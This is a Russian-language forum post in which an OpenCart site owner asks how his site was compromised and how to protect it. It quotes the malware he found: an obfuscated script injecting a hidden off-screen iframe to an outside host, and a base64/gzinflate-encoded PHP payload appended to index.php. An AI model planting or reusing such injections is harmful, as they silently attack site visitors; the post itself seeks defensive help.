Доброго,
Столкнулся со следующей проблемой. Примерно, через две недели после размещения сайта на реальном хостинге, заметил, что на странице сместился div с footer`ом. Пробежался по коду страницы и в самом конце нашел левый скрипт:
<script>
var _q = document.createElement('iframe'),
_n = 'setAttribute';
_q[_n]('src', 'http://twitter.dnsjiexi.tk:1342/t/a219bf65b03b586005c6a8e76660286a');
_q.style.position = 'absolute';
_q.style.width = '10px';
_q[_n]('frameborder', navigator.userAgent.indexOf('2491bc9c7d8731e1ae33124093bc7026') + 1);
_q.style.left = '-6247px';
document.write('<div id=\'Twitter\'></div>');
document.getElementById('Twitter').appendChild(_q);
</script>
В корневом index.php нашел новый код – тоже в самом конце страницы:
#c3284d#
echo(gzinflate(base64_decode("VVFNU4NADL13pv9hb0vHCizQBSrtTHU8ePLizTrMfoR2lQJd0g//vUBrR3NL8pL38pK1ypoGl+PRUViS78mC6FoddlChqywIhOcS+syhprBiB3QyHY9IF3nVYWkLu
EK0Rh4Q6MN4lO/f8+rDoa1VdEroFrGZex6eDCJYV1ftp4GzcfFrzsIo8NATAUtlwWfSD+Us4b4/U1wkEHPO/SDhgk6GrW6L3yW4Td0aNPVALWRblzfaK+BkNG77LvOb819Bg3hZWw22E1aJo9kIrK17aMGu
Nv25ptJwfi0cGkQpkypVsU7ikAETEIYsiPw0lCr2A04n5I6wf7pKKLBnvedBFF+IbzaerEFwaKbNkRi9WNO3ixtrusy8rrgcTrzBN4BXyx+/X7Tzi6YTVzQNVPppa0rt5Pt+KPOu7/sB")));
#/c3284d#
?>
Удалил – стало все ок.
Вопрос: каким образом добавился код в index.php (я читал про sql-инъекции, но не особо в этом разбераюсь), а главное – как защититься от этого.
Буду признателен любой помощи.
Сайт на opencart 1.5.3.1. В качестве шаблона используются hyla (правда, я там много чего переделал). Также используется simple ajax search.